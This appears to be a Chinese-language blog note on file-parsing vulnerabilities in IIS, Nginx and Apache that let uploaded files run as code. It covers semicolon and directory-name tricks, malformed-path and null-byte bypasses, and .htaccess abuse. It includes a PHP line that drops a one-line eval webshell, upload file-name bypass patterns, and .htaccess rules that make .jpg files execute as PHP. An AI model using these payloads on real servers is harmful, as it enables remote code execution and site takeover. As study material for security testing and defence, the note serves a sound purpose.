中间件-文件解析漏洞笔记(多用于文件上传漏洞)
IIS解析漏洞
- 目录解析漏洞(/test.asp/1.jpg) ---------IIS5.x/6.0
- 文件名解析漏洞(test.asp;.jpg)---------IIS5.x/6.0
- 畸形解析漏洞(test.jpg/*.php)-----------IIS7.0
- 其他解析漏洞---------windows环境
Ngnix解析漏洞
- 畸形解析漏洞(test.jpg/*.php)
- %00空字节代码解析漏洞
- CVE-2013-4547(%20%00)
Apache解析漏洞
- 文件名解析漏洞
- .htaccess文件
目录解析漏洞(/test.asp/1.jpg)
在IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。
例如burpsuite抓包创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了
文件名解析漏洞(test.asp;.jpg)
在IIS5.x/6.0 中, 分号后面的不被解析,也就是说 yu.asp;.jpg 会被服务器看成是yu.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。
而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件,
就可以通过服务器校验,并且服务器会把它当成asp文件执行。
畸形解析漏洞(test.jpg/*.php)
微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5
在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。
临时解决办法:设置 cgi.fix_pathinfo为0
这个解析漏洞和下面讲的Nginx的解析漏洞是一样的。
其他解析漏洞
在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
Ngnix解析漏洞
畸形解析漏洞(test.jpg/*.php)
漏洞原因:
· php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
· /etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
在nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为: test.jpg
在浏览器中访问http://192.168.10.139/test.jpg 显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied.
原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回 Access denied. 。
%00空字节代码解析漏洞
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码
· Nginx 0.5.*
· Nginx 0.6.*
· Nginx 0.7 <= 0.7.65
· Nginx 0.8 <= 0.8.37
Apache解析漏洞
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、
允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,
该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为
· mod_rewrite 模块开启
· AllowOverride All
#1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatchc>
#2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg
这样就可以上传访问了
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!